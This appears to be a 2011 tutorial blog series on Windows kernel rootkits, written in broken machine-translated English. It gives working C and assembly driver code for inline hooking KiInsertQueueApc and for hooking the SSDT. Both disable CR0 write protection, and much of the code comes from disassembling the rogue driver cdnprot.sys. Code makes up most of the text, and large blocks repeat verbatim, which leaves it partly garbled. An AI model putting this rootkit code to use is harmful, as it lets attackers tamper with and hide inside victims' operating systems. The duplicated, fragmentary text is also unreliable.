3)Two-dimensional array is used to save function front byte, Array form is array[15][30];
Each function have 30 bytes usable on 15 function. First save orginal function front byte on 30 bytes, Then write 0xe9, Continue write array current place with original hook function address offset that we already copy bytecode after place among re;atove offset value.
The array effect, when after hook function, execute to finish our hook function, Then need recover original api function, Because original api function front five bytes already is rewrite, function original front byte already save to appropriate array, So there idea is, execute machine code on the array, array machine code execute to the end, jump to original function some offset place, continue to execute.
3. Inline hook
1) IoAllocateMdl
,Allocate one mdl, Hook function is mapping to here.
2) MmProbeAndLockPages, Lock page
3)
do away with write-protect
4) Save function front machine code to homologous two-dimensional array, rewrite front five bytes, Let is jump to start address on .data:00034E98 jump table homologous jump function.
5)
Recover write-protect
6) MmUnlockPages
7) IoFreeMdl
4.
Revover After Inline hook
The example is hook了KiInsertQueueApc, Because KiInsertQueueApc isn't export, need find on KeInsetQueueApc.
#include <ntddk.h>
#include
<ntifs.h>
ULONG g_KiInsertQueueApc;
char g_oricode[8];
ULONG
g_uCr0;
char *non_paged_memory;
void WPOFF()
{
ULONG uAttr;
_asm
{
push eax;
mov eax, cr0;
mov uAttr, eax;
and eax, 0FFFEFFFFh; // CR0 16 BIT = 0
mov cr0, eax;
pop eax;
cli
};
g_uCr0 =
uAttr; //Save original CR0
}
VOID WPON()
{
_asm
{
sti
push eax;
mov eax, g_uCr0; //Recover orginal CR
mov cr0, eax;
pop eax;
};
}
__declspec(naked)
my_function_detour_KiInsertQueueApc()
{
__asm
{
mov edi,edi
push ebp
mov ebp, esp
push ecx
mov eax,ecx
_emit 0xEA
_emit
0xAA
_emit 0xAA
_emit 0xAA
_emit 0xAA
_emit 0x08
_emit 0x00
}
}
ULONG
GetFunctionAddr( IN PCWSTR FunctionName)
{
UNICODE_STRING UniCodeFunctionName;
RtlInitUnicodeString(
&UniCodeFunctionName, FunctionName );
return
(ULONG)MmGetSystemRoutineAddress( &UniCodeFunctionName );
}
//
根据特征值,从KeInsertQueueApc搜索中搜索KiInsertQueueApc
ULONG
FindKiInsertQueueApcAddress()
{
char *
Addr_KeInsertQueueApc = 0;
int i = 0;
char Findcode[] = {
0xE8, 0xcc, 0x29, 0x00, 0x00 };
ULONG Addr_KiInsertQueueApc =
0;
Addr_KeInsertQueueApc = (char *)
GetFunctionAddr(L"KeInsertQueueApc");
for(i = 0; i < 100; i
++)
{
if( Addr_KeInsertQueueApc[i] == Findcode[0]
&&
Addr_KeInsertQueueApc[i + 1] == Findcode[1]
&&
Addr_KeInsertQueueApc[i + 2] == Findcode[2]
&&
Addr_KeInsertQueueApc[i + 3] == Findcode[3]
&&
Addr_KeInsertQueueApc[i + 4] == Findcode[4]
)
{
Addr_KiInsertQueueApc =
(ULONG)&Addr_KeInsertQueueApc[i] + 0x29cc + 5;
break;
}
}
return Addr_KiInsertQueueApc;
}
VOID
DetourFunctionKiInsertQueueApc()
{
char
*actual_function = (char *)g_KiInsertQueueApc;
unsigned long
detour_address;
unsigned long reentry_address;
KIRQL
oldIrql;
int i = 0;
char newcode[] = { 0xEA,
0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 };
reentry_address = ((unsigned long)g_KiInsertQueueApc) + 8;
non_paged_memory = ExAllocatePool(NonPagedPool, 256);
for(i=0;i<256;i++)
{
((unsigned char
*)non_paged_memory)[i] = ((unsigned char
*)my_function_detour_KiInsertQueueApc)[i];
}
detour_address = (unsigned long)non_paged_memory;
*(
(unsigned long *)(&newcode[1]) ) = detour_address;
for(i=0;i<200;i++)
{
if( (0xAA == ((unsigned char
*)non_paged_memory)[i]) &&
(0xAA == ((unsigned char
*)non_paged_memory)[i+1]) &&
(0xAA == ((unsigned
char *)non_paged_memory)[i+2]) &&
(0xAA ==
((unsigned char *)non_paged_memory)[i+3]))
{
*(
(unsigned long *)(&non_paged_memory[i]) ) = reentry_address;
break;
}
}
oldIrql =
KeRaiseIrqlToDpcLevel();
for(i=0;i < 8;i++)
{
g_oricode[i] = actual_function[i];
actual_function[i] =
newcode[i];
}
KeLowerIrql(oldIrql);
}
VOID
UnDetourFunction()
{
char *actual_function = (char
*)g_KiInsertQueueApc;
KIRQL oldIrql;
int i = 0;
WPOFF();
oldIrql = KeRaiseIrqlToDpcLevel();
for(i=0;i < 8;i++)
{
actual_function[i] =
g_oricode[i];
}
KeLowerIrql(oldIrql);
WPON();
ExFreePool(non_paged_memory);
}
VOID
OnUnload( IN PDRIVER_OBJECT DriverObject )
{
DbgPrint("My
Driver Unloaded!");
UnDetourFunction();
}
NTSTATUS
DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING
theRegistryPath )
{
DbgPrint("My Driver Loaded!");
theDriverObject->DriverUnload = OnUnload;
g_KiInsertQueueApc = FindKiInsertQueueApcAddress();
DetourFunctionKiInsertQueueApc();
return
STATUS_SUCCESS;
}
0tutorials
Unpacking Tutorials,Programming Tutorials,Kernel Tutorials,Reverse Engineering Tutorials
Thursday, October 13, 2011
Wednesday, October 12, 2011
Learn and study Rootkit Specials 8: kernel hook - inline hook(1)
Author:combojiang
Recently in order to write rootkit inline hook article, specially disassemble famous rougue software(cdnprot.sys), The file is huge - 152k, Take my some overnight, Let me less watch tv play, The software use many good technology, anyway, Technology isn't wrong itself. Because we talk theme about Inline hook today, only lead everybody watch how he use the technology of inline hook.
What is inline hook, The basic concepts, We won't talk on here, May use google to search.
Inline hook is used very easily and simple on ring3, but this is trouble on ring0,BSOD will show when wrong to use. We talk inline hook on kernel today, Let us watch that how to use.
First talk thinking:
1. One of the preparation before hook:
In total hook fifteen native api function on the software. They are:
ZwOpenKey , ZwClose, ZwQueryValueKey, ZwDeleteKey, ZwSetValueKey, ZwCreateKey,
ZwDeleteValueKey. ZwEnumerateValueKey,ZwRestoreKey, ZwReplaceKey, ZwTerminateProcess, ZwSetSecurityObject, ZwCreateThread, ZwTerminateThread, ZwQuerySystemInformation.
On the fifteen function, include two undocumented function, ZwCreateThread, ZwTerminateThread,The two function need find on export table from ntdll.dll. Other, All native api function finaly realize both on ntoskrnl module, So we use functional 0B number of fuZwQuerySystemInformation, find memory load place of ntoskrnl, Then one by one judge these need hook function address on ssdt table, Whether on place. Ensure to use first.
2. One of the preparation before hook:
1)One global function table, save need hook fifteen function original address.
The table start address: .data:00036860, Ending: data:0003689C 60 bytes in total.
2)One hook function address table, part corresponding to jump of hook fifteen function.
The table start address: .data:00034E98
.data:00034E98 off_34E98 dd offset sub_1EEA8
.data:00034E9C dd offset sub_1EE82
.data:00034EA0 dd offset sub_1EF82
.data:00034EA4 dd offset sub_1EF4A
.data:00034EA8 dd offset sub_1EF6D
.data:00034EAC dd offset sub_1EEC1
.data:00034EB0 dd offset sub_1EED2
.data:00034EB4 dd offset sub_1EEF5
.data:00034EB8 dd offset sub_1EF31
.data:00034EBC dd offset sub_1EF18
.data:00034EC0 dd offset sub_1EF93
.data:00034EC4 dd offset sub_1EFA8
.data:00034EC8 dd offset sub_1EFBD
.data:00034ECC dd offset sub_1EFE6
.data:00034ED0 dd offset sub_1EFFF
The function both realize on cdnprot.sys.
What is inline hook, The basic concepts, We won't talk on here, May use google to search.
Inline hook is used very easily and simple on ring3, but this is trouble on ring0,BSOD will show when wrong to use. We talk inline hook on kernel today, Let us watch that how to use.
First talk thinking:
1. One of the preparation before hook:
In total hook fifteen native api function on the software. They are:
ZwOpenKey , ZwClose, ZwQueryValueKey, ZwDeleteKey, ZwSetValueKey, ZwCreateKey,
ZwDeleteValueKey. ZwEnumerateValueKey,ZwRestoreKey, ZwReplaceKey, ZwTerminateProcess, ZwSetSecurityObject, ZwCreateThread, ZwTerminateThread, ZwQuerySystemInformation.
On the fifteen function, include two undocumented function, ZwCreateThread, ZwTerminateThread,The two function need find on export table from ntdll.dll. Other, All native api function finaly realize both on ntoskrnl module, So we use functional 0B number of fuZwQuerySystemInformation, find memory load place of ntoskrnl, Then one by one judge these need hook function address on ssdt table, Whether on place. Ensure to use first.
2. One of the preparation before hook:
1)One global function table, save need hook fifteen function original address.
The table start address: .data:00036860, Ending: data:0003689C 60 bytes in total.
2)One hook function address table, part corresponding to jump of hook fifteen function.
The table start address: .data:00034E98
.data:00034E98 off_34E98 dd offset sub_1EEA8
.data:00034E9C dd offset sub_1EE82
.data:00034EA0 dd offset sub_1EF82
.data:00034EA4 dd offset sub_1EF4A
.data:00034EA8 dd offset sub_1EF6D
.data:00034EAC dd offset sub_1EEC1
.data:00034EB0 dd offset sub_1EED2
.data:00034EB4 dd offset sub_1EEF5
.data:00034EB8 dd offset sub_1EF31
.data:00034EBC dd offset sub_1EF18
.data:00034EC0 dd offset sub_1EF93
.data:00034EC4 dd offset sub_1EFA8
.data:00034EC8 dd offset sub_1EFBD
.data:00034ECC dd offset sub_1EFE6
.data:00034ED0 dd offset sub_1EFFF
The function both realize on cdnprot.sys.
Tuesday, October 11, 2011
Sorry,Can't update
Because friend come in, So can't update, Sorry.
Monday, October 10, 2011
Too tried, Rest one day.
I am work every day, Too tried, So rest one day.
Sorry.
Sorry.
Sunday, October 9, 2011
Learn and study Rootkit Specials 7: kernel hook - SSDT hook(3)
;**************************************************************************
; Give a index value and function address, Modify ssdt table
;**************************************************************************
HookSSDTByFunIndex proc Value:dword,Index:dword
mov ecx, Index
mov eax, KeServiceDescriptorTable
cmp ecx, [eax+8] ;NumberOfService
jb @f
xor al, al
jmp Quit
@@:
;Put off write-protect
push eax
mov eax, cr0
and eax, 0FFFEFFFFh
mov cr0, eax
pop eax
mov eax, KeServiceDescriptorTable
mov eax, [eax]
mov edx, Value; Value
lea ecx, [eax+ecx*4] ; Target
call InterlockedExchange
;Recover write-protect
push eax
mov eax, cr0
or eax, 10000h
mov cr0, eax
pop eax
Quit:
ret
HookSSDTByFunIndex endp
;**************************************************************************
; hook ZwQuerySystemInfomation,Replace with NtQuerySystemInformation, return original value
;**************************************************************************
HookSSDT proc Value:dword,FunAddr:dword
push eax
;Put off write-protect
mov eax, cr0
and eax, 0FFFEFFFFh
mov cr0, eax
pop eax
mov ecx, KeServiceDescriptorTable
mov eax, FunAddr
mov eax, [eax+1] ;Through ZwQuerySystemInfomation get ssdt index
mov ecx, [ecx] ;ServiceTableBase
mov edx, Value ; Value
lea ecx, [ecx+eax*4] ; Target
call InterlockedExchange
mov ecx, eax
push eax
;recover write-protect
mov eax, cr0
or eax, 10000h
mov cr0, eax
pop eax
mov eax, ecx
ret
HookSSDT endp
SourceString wchar L(<\\DosDevices\\Swk0217\0>)
swkUnLoad proc pDriverObject :dword
LOCAL DestinationString:UNICODE_STRING
push ecx
push ecx
push offset SourceString ; SourceString
lea eax, DestinationString
push eax ; DestinationString
call RtlInitUnicodeString
lea eax, DestinationString
push eax ; SymbolicLinkName
call IoDeleteSymbolicLink
mov eax, pDriverObject
push dword ptr [eax+4] ; DeviceObject
call IoDeleteDevice
ret
swkUnLoad endp
aNtquerysystemi db 'NtQuerySystemInformation',0
DispatchFunction:
push esi
mov esi, [esp+0Ch] ;pIrp
mov eax, [esi+60h] ;Take IRP.CurrentStackLocation
and dword ptr [esi+18h], 0 ;IRP中的IoStatus zero setting,see ntddk.inc
and dword ptr [esi+1Ch], 0
cmp byte ptr [eax], 0Eh ;IO_STACK_LOCATION.MajorFunction
mov edx, [esi+0Ch] ;IRP.AssociatedIrp.SystemBuffer
mov ecx, [eax+8] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
push edi
jnz CreateAndClose
mov eax, [eax+0Ch] ;IoControlCode
cmp eax, 83471060h
jz GetSSDTNum ;Take out ssdt function count
cmp eax, 83471064h
jz GetSSDTFunction ;Take out ssdt function table
cmp eax, 83471068h
jz HookZwQuerySystemInformation ;hook ZwQuerySystemInformation
cmp eax, 8347106Ch
jz RestoreHookSSDT ;Recover front hook ZwQuerySystemInformation
cmp eax, 83471070h
jz ModifySSDTByFunIndex ;in line with user given function address and ssdt table index, modify ssdt table
mov dword ptr [esi+18h], 0C000000Dh ;IoStatus
jmp CreateAndClose
ModifySSDTByFunIndex:
push 8
pop edi
cmp ecx, edi ;Judge InputBufferLength whether equal to 8
jnz CreateAndClose
push dword ptr [edx+4] ;The second dword value on SystemBuffer,represent a ssdt table index
push dword ptr [edx] ;;The first dword value on SystemBuffer,represent given function address
call HookSSDTByFunIndex
test al, al
jz CreateAndClose
mov [esi+1Ch], edi
jmp CreateAndClose
RestoreHookSSDT: ;Recover ssdt table
mov eax, OldSSDTValueOfZwQuerySystemInformation
test eax, eax
jz CreateAndClose
mov ecx, ZwQuerySystemInformation
cmp eax, ecx
jz HaveDone
push ecx
push eax
call HookSSDT
HaveDone:
and OldSSDTValueOfZwQuerySystemInformation, 0
jmp CreateAndClose
HookZwQuerySystemInformation:
call near ptr FunctionArray+0Eh ;execute push 24h, through ZwQuerySystemInformation takce out ntoskrnl.exe memory load address
test eax, eax
jz CreateAndClose
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push eax
call GetProcessFromNtoskrnl
mov ecx, ZwQuerySystemInformation
cmp eax, ecx
jz CreateAndClose
push ecx
push eax
call HookSSDT
mov OldSSDTValueOfZwQuerySystemInformation, eax ;Save function address of original ssdt table
jmp CreateAndClose
GetSSDTFunction:
mov eax, KeServiceDescriptorTable
mov edi, [eax+8] ;NumberOfService
push ebx
mov ebx, edi
shl ebx, 2 ;NumberOfService*4
cmp ecx, ebx ;Compare import length with NumberOfService*4,Judge apply for buffer whether enough
pop ebx
jb CreateAndClose
xor ecx, ecx
test edi, edi
jbe GetSSDTFunctionErr
GetNextSSDTFunction:
mov eax, [eax]
mov eax, [eax+ecx*4]
mov [edx+ecx*4], eax
mov eax, KeServiceDescriptorTable
inc ecx
cmp ecx, [eax+8]
jb GetNextSSDTFunction
GetSSDTFunctionErr:
mov eax, [eax+8]
shl eax, 2
jmp Quit
GetSSDTNum:
push 4
pop eax
cmp ecx, eax ;input length <4 jump
jb CreateAndClose
mov ecx, KeServiceDescriptorTable
mov ecx, [ecx+8] ;NumberOfService
mov [edx], ecx ;edx point IRP.AssociatedIrp.SystemBuffer
Quit:
mov [esi+1Ch], eax
CreateAndClose:
mov edi, [esi+18h] ;IoStatus
xor dl, dl
mov ecx, esi
call IofCompleteRequest
mov eax, edi
pop edi
pop esi
ret
wcharDeviceName wchar L(<\\Device\\Swk0217\0>)
wcharSymbolicLink wchar L(<\\DosDevices\\Swk0217\0>)
start proc DriverObject:dword
LOCAL SymbolicLinkName:UNICODE_STRING
LOCAL DestinationString:UNICODE_STRING
LOCAL DeviceObject:dword
and DeviceObject, 0
push esi
push edi
mov edi, RtlInitUnicodeString
push offset wcharDeviceName ; SourceString
lea eax, DestinationString
push eax ; DestinationString
call edi ; RtlInitUnicodeString
mov esi, DriverObject
lea eax, DeviceObject
push eax ; DeviceObject
push 0 ; Exclusive
push 0 ; DeviceCharacteristics
push 598347h ; DeviceType
lea eax, DestinationString
push eax ; DeviceName
push 0 ; DeviceExtensionSize
push esi ; DriverObject
call IoCreateDevice
test eax, eax
jl @f
push offset wcharSymbolicLink ; SourceString
lea eax, SymbolicLinkName
push eax ; DestinationString
call edi ; RtlInitUnicodeString
lea eax, DestinationString
push eax ; DeviceName
lea eax, SymbolicLinkName
push eax ; SymbolicLinkName
call IoCreateSymbolicLink
mov ecx, offset DispatchFunction
mov [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL
mov [esi+40h], ecx ;IRP_MJ_CLOSE
mov [esi+38h], ecx ;IRP_MJ_CREATE
mov dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad
@@:
pop edi
pop esi
ret
start endp
end start
; Give a index value and function address, Modify ssdt table
;**************************************************************************
HookSSDTByFunIndex proc Value:dword,Index:dword
mov ecx, Index
mov eax, KeServiceDescriptorTable
cmp ecx, [eax+8] ;NumberOfService
jb @f
xor al, al
jmp Quit
@@:
;Put off write-protect
push eax
mov eax, cr0
and eax, 0FFFEFFFFh
mov cr0, eax
pop eax
mov eax, KeServiceDescriptorTable
mov eax, [eax]
mov edx, Value; Value
lea ecx, [eax+ecx*4] ; Target
call InterlockedExchange
;Recover write-protect
push eax
mov eax, cr0
or eax, 10000h
mov cr0, eax
pop eax
Quit:
ret
HookSSDTByFunIndex endp
;**************************************************************************
; hook ZwQuerySystemInfomation,Replace with NtQuerySystemInformation, return original value
;**************************************************************************
HookSSDT proc Value:dword,FunAddr:dword
push eax
;Put off write-protect
mov eax, cr0
and eax, 0FFFEFFFFh
mov cr0, eax
pop eax
mov ecx, KeServiceDescriptorTable
mov eax, FunAddr
mov eax, [eax+1] ;Through ZwQuerySystemInfomation get ssdt index
mov ecx, [ecx] ;ServiceTableBase
mov edx, Value ; Value
lea ecx, [ecx+eax*4] ; Target
call InterlockedExchange
mov ecx, eax
push eax
;recover write-protect
mov eax, cr0
or eax, 10000h
mov cr0, eax
pop eax
mov eax, ecx
ret
HookSSDT endp
SourceString wchar L(<\\DosDevices\\Swk0217\0>)
swkUnLoad proc pDriverObject :dword
LOCAL DestinationString:UNICODE_STRING
push ecx
push ecx
push offset SourceString ; SourceString
lea eax, DestinationString
push eax ; DestinationString
call RtlInitUnicodeString
lea eax, DestinationString
push eax ; SymbolicLinkName
call IoDeleteSymbolicLink
mov eax, pDriverObject
push dword ptr [eax+4] ; DeviceObject
call IoDeleteDevice
ret
swkUnLoad endp
aNtquerysystemi db 'NtQuerySystemInformation',0
DispatchFunction:
push esi
mov esi, [esp+0Ch] ;pIrp
mov eax, [esi+60h] ;Take IRP.CurrentStackLocation
and dword ptr [esi+18h], 0 ;IRP中的IoStatus zero setting,see ntddk.inc
and dword ptr [esi+1Ch], 0
cmp byte ptr [eax], 0Eh ;IO_STACK_LOCATION.MajorFunction
mov edx, [esi+0Ch] ;IRP.AssociatedIrp.SystemBuffer
mov ecx, [eax+8] ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
push edi
jnz CreateAndClose
mov eax, [eax+0Ch] ;IoControlCode
cmp eax, 83471060h
jz GetSSDTNum ;Take out ssdt function count
cmp eax, 83471064h
jz GetSSDTFunction ;Take out ssdt function table
cmp eax, 83471068h
jz HookZwQuerySystemInformation ;hook ZwQuerySystemInformation
cmp eax, 8347106Ch
jz RestoreHookSSDT ;Recover front hook ZwQuerySystemInformation
cmp eax, 83471070h
jz ModifySSDTByFunIndex ;in line with user given function address and ssdt table index, modify ssdt table
mov dword ptr [esi+18h], 0C000000Dh ;IoStatus
jmp CreateAndClose
ModifySSDTByFunIndex:
push 8
pop edi
cmp ecx, edi ;Judge InputBufferLength whether equal to 8
jnz CreateAndClose
push dword ptr [edx+4] ;The second dword value on SystemBuffer,represent a ssdt table index
push dword ptr [edx] ;;The first dword value on SystemBuffer,represent given function address
call HookSSDTByFunIndex
test al, al
jz CreateAndClose
mov [esi+1Ch], edi
jmp CreateAndClose
RestoreHookSSDT: ;Recover ssdt table
mov eax, OldSSDTValueOfZwQuerySystemInformation
test eax, eax
jz CreateAndClose
mov ecx, ZwQuerySystemInformation
cmp eax, ecx
jz HaveDone
push ecx
push eax
call HookSSDT
HaveDone:
and OldSSDTValueOfZwQuerySystemInformation, 0
jmp CreateAndClose
HookZwQuerySystemInformation:
call near ptr FunctionArray+0Eh ;execute push 24h, through ZwQuerySystemInformation takce out ntoskrnl.exe memory load address
test eax, eax
jz CreateAndClose
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push eax
call GetProcessFromNtoskrnl
mov ecx, ZwQuerySystemInformation
cmp eax, ecx
jz CreateAndClose
push ecx
push eax
call HookSSDT
mov OldSSDTValueOfZwQuerySystemInformation, eax ;Save function address of original ssdt table
jmp CreateAndClose
GetSSDTFunction:
mov eax, KeServiceDescriptorTable
mov edi, [eax+8] ;NumberOfService
push ebx
mov ebx, edi
shl ebx, 2 ;NumberOfService*4
cmp ecx, ebx ;Compare import length with NumberOfService*4,Judge apply for buffer whether enough
pop ebx
jb CreateAndClose
xor ecx, ecx
test edi, edi
jbe GetSSDTFunctionErr
GetNextSSDTFunction:
mov eax, [eax]
mov eax, [eax+ecx*4]
mov [edx+ecx*4], eax
mov eax, KeServiceDescriptorTable
inc ecx
cmp ecx, [eax+8]
jb GetNextSSDTFunction
GetSSDTFunctionErr:
mov eax, [eax+8]
shl eax, 2
jmp Quit
GetSSDTNum:
push 4
pop eax
cmp ecx, eax ;input length <4 jump
jb CreateAndClose
mov ecx, KeServiceDescriptorTable
mov ecx, [ecx+8] ;NumberOfService
mov [edx], ecx ;edx point IRP.AssociatedIrp.SystemBuffer
Quit:
mov [esi+1Ch], eax
CreateAndClose:
mov edi, [esi+18h] ;IoStatus
xor dl, dl
mov ecx, esi
call IofCompleteRequest
mov eax, edi
pop edi
pop esi
ret
wcharDeviceName wchar L(<\\Device\\Swk0217\0>)
wcharSymbolicLink wchar L(<\\DosDevices\\Swk0217\0>)
start proc DriverObject:dword
LOCAL SymbolicLinkName:UNICODE_STRING
LOCAL DestinationString:UNICODE_STRING
LOCAL DeviceObject:dword
and DeviceObject, 0
push esi
push edi
mov edi, RtlInitUnicodeString
push offset wcharDeviceName ; SourceString
lea eax, DestinationString
push eax ; DestinationString
call edi ; RtlInitUnicodeString
mov esi, DriverObject
lea eax, DeviceObject
push eax ; DeviceObject
push 0 ; Exclusive
push 0 ; DeviceCharacteristics
push 598347h ; DeviceType
lea eax, DestinationString
push eax ; DeviceName
push 0 ; DeviceExtensionSize
push esi ; DriverObject
call IoCreateDevice
test eax, eax
jl @f
push offset wcharSymbolicLink ; SourceString
lea eax, SymbolicLinkName
push eax ; DestinationString
call edi ; RtlInitUnicodeString
lea eax, DestinationString
push eax ; DeviceName
lea eax, SymbolicLinkName
push eax ; SymbolicLinkName
call IoCreateSymbolicLink
mov ecx, offset DispatchFunction
mov [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL
mov [esi+40h], ecx ;IRP_MJ_CLOSE
mov [esi+38h], ecx ;IRP_MJ_CREATE
mov dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad
@@:
pop edi
pop esi
ret
start endp
end start
Saturday, October 8, 2011
Learn and study Rootkit Specials 6: kernel hook - SSDT hook(2)
; Example: ImageName: windows\system32\ndis.sys, So ModuleNameOffset is
0x11
movzx eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,Point offset of name
lea eax, [eax+esi+1Ch] ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffset
push eax ;don't clude path name
call _stricmp
pop ecx ;出栈
pop ecx
test eax, eax
jnz ContinueLoop
mov eax, [esi+8] ;return SYSTEM_MODULE_INFORMATION.Base
mov [ebp-24h], eax ;return save on [ebp-24h]
ReleaseMemory:
push edi
call ExFreePool
jmp ERRORRET
ContinueLoop:
inc dword ptr [ebp-20h] ;Loop variable increas
add esi, 11Ch ;Take next element of SYSTEM_MODULE_INFORMATION type
mov [ebp-2Ch], esi ;Temporary save current SYSTEM_MODULE_INFORMATION element
jmp FORLOOP
SehFunction proc near
mov esp, [ebp-18h]
ERRORRET::
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-24h]
ErrAllocMem::
ret
SehFunction endp
;********************************************************************************************
; Equivalent to GetProcessAddress function, hModule point ntoskrnl.exe module, Find the PE export table,
; Find function address of pFunctionName.
; Operating principle: Traverse export table's AddressOfFunctions, Every take one function address, In line with it index of AddressOfFunctions中的
;Traverse whole AddressOfNames table and AddressOfNameOrdinals table, Find sequence number to matched function with AddressOfFunctions
;contrast function name and import paramter 2 whether identical, The same return current function address from AddressOfFunctions,
;Different continue find ...
;********************************************************************************************
GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword
LOCAL AddressOfNameOrdinals:dword;Function name index talbe
LOCAL AddressOfNames:dword ;Function name address talbe
LOCAL OutputTable:dword ;Export table address
LOCAL AddressOfFunctions:dword ;Point export function address table point
LOCAL pFunctionName:dword ;function name
LOCAL i:dword ;loop variable
LOCAL CurAddressOfNameOrdinals:dword ;Current function name serial number
LOCAL CurAddressOfNames:dword ;Current function address
LOCAL nIndex:dword ;loop variable
LOCAL myFoundOutFunctionName:dword ;Function pointer is found from function address table
LOCAL InputFunctionName:dword ;input function name pointer, point paramter 2
LOCAL SecondCharacterOfFunctionName:byte
LOCAL FirstCharacterOfFunctionName:byte
mov edx, hModule
mov eax, [edx+3Ch]
add eax, edx ; point PEHeader
cmp word ptr [edx], 5A4Dh ; 'MZ'
jnz Quit
cmp dword ptr [eax], 4550h ;'PE'
jnz Quit
mov eax, [eax+78h]
add eax, edx ;point export
mov OutputTable, eax
mov edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames
add edi, edx
mov AddressOfNames, edi
mov esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
add esi, edx
mov AddressOfFunctions, esi
mov ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
add ecx, edx
mov AddressOfNameOrdinals, ecx
and nIndex, 0
mov edx, pFunctionName
StartSearch:
mov ebx, nIndex
cmp ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions
jnb Quit
cmp dword ptr [esi], 0 ;First function addresws judge whether null on AddressOfFunctions
jz NextAddressOfFunction ;If null, Take next function on IMAGE_EXPORT_DIRECTORY.AddressOfFunctions table
mov CurAddressOfNames, edi
mov CurAddressOfNameOrdinals, ecx
and i, 0
StartFindFunctionFromAddressOfNames:
mov ebx, i
cmp ebx, [eax+18h] ;IMAGE_EXPORT_DIRECTORY.NumberOfNames
jnb OutOfRange
mov ebx, CurAddressOfNameOrdinals
movzx ebx, word ptr [ebx]
cmp ebx, nIndex ;Judge index from AddressOfFunctions to get whether fit AddressOfNameOrdinals get index
jnz NextAddressOfNameOrdinals
mov edx, CurAddressOfNames
mov edx, [edx]
add edx, hModule
mov pFunctionName, edx ;Take function name
OutOfRange:
test edx, edx ;Judge whether null
jz ContinueWork
mov myFoundOutFunctionName, edx ;TS function name
mov edx, FunctionName
mov InputFunctionName, edx ;TS imput function name
CompareFunctionName:
mov edx, InputFunctionName
mov dl, [edx]
mov FirstCharacterOfFunctionName, dl
mov ebx, myFoundOutFunctionName
cmp dl, [ebx]
jnz Different ;disaffinity
test dl, dl ;Judge InputFunctionName whether null, if null, return first function address table
jz RetCurrentFunctionAddress
mov edx, InputFunctionName ;Contrast function name next character
mov dl, [edx+1]
mov SecondCharacterOfFunctionName, dl
cmp dl, [ebx+1]
jnz Different
add InputFunctionName, 2
add myFoundOutFunctionName, 2
test dl, dl
jnz CompareFunctionName
RetCurrentFunctionAddress:
xor edx, edx ;edx = 0,mean find correspond function
jmp GetFunctionAddress
NextAddressOfNameOrdinals:
add CurAddressOfNames, 4
add CurAddressOfNameOrdinals, 2
inc i
jmp StartFindFunctionFromAddressOfNames
Different:
sbb edx, edx
sbb edx, 0FFFFFFFFh ;edx = 1,表示没有找到对应的函数,继续找
GetFunctionAddress:
test edx, edx
jnz ContinueWork
mov esi, [esi]
add esi, hModule
mov eax, esi ;return function address
jmp Founded
ContinueWork:
xor edx, edx
mov pFunctionName, edx
NextAddressOfFunction:
add esi, 4
mov AddressOfFunctions, esi
inc nIndex
jmp StartSearch
Quit:
xor eax, eax
Founded:
ret
GetProcessFromNtoskrnl endp
movzx eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,Point offset of name
lea eax, [eax+esi+1Ch] ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffset
push eax ;don't clude path name
call _stricmp
pop ecx ;出栈
pop ecx
test eax, eax
jnz ContinueLoop
mov eax, [esi+8] ;return SYSTEM_MODULE_INFORMATION.Base
mov [ebp-24h], eax ;return save on [ebp-24h]
ReleaseMemory:
push edi
call ExFreePool
jmp ERRORRET
ContinueLoop:
inc dword ptr [ebp-20h] ;Loop variable increas
add esi, 11Ch ;Take next element of SYSTEM_MODULE_INFORMATION type
mov [ebp-2Ch], esi ;Temporary save current SYSTEM_MODULE_INFORMATION element
jmp FORLOOP
SehFunction proc near
mov esp, [ebp-18h]
ERRORRET::
or dword ptr [ebp-4], 0FFFFFFFFh
mov eax, [ebp-24h]
ErrAllocMem::
ret
SehFunction endp
;********************************************************************************************
; Equivalent to GetProcessAddress function, hModule point ntoskrnl.exe module, Find the PE export table,
; Find function address of pFunctionName.
; Operating principle: Traverse export table's AddressOfFunctions, Every take one function address, In line with it index of AddressOfFunctions中的
;Traverse whole AddressOfNames table and AddressOfNameOrdinals table, Find sequence number to matched function with AddressOfFunctions
;contrast function name and import paramter 2 whether identical, The same return current function address from AddressOfFunctions,
;Different continue find ...
;********************************************************************************************
GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword
LOCAL AddressOfNameOrdinals:dword;Function name index talbe
LOCAL AddressOfNames:dword ;Function name address talbe
LOCAL OutputTable:dword ;Export table address
LOCAL AddressOfFunctions:dword ;Point export function address table point
LOCAL pFunctionName:dword ;function name
LOCAL i:dword ;loop variable
LOCAL CurAddressOfNameOrdinals:dword ;Current function name serial number
LOCAL CurAddressOfNames:dword ;Current function address
LOCAL nIndex:dword ;loop variable
LOCAL myFoundOutFunctionName:dword ;Function pointer is found from function address table
LOCAL InputFunctionName:dword ;input function name pointer, point paramter 2
LOCAL SecondCharacterOfFunctionName:byte
LOCAL FirstCharacterOfFunctionName:byte
mov edx, hModule
mov eax, [edx+3Ch]
add eax, edx ; point PEHeader
cmp word ptr [edx], 5A4Dh ; 'MZ'
jnz Quit
cmp dword ptr [eax], 4550h ;'PE'
jnz Quit
mov eax, [eax+78h]
add eax, edx ;point export
mov OutputTable, eax
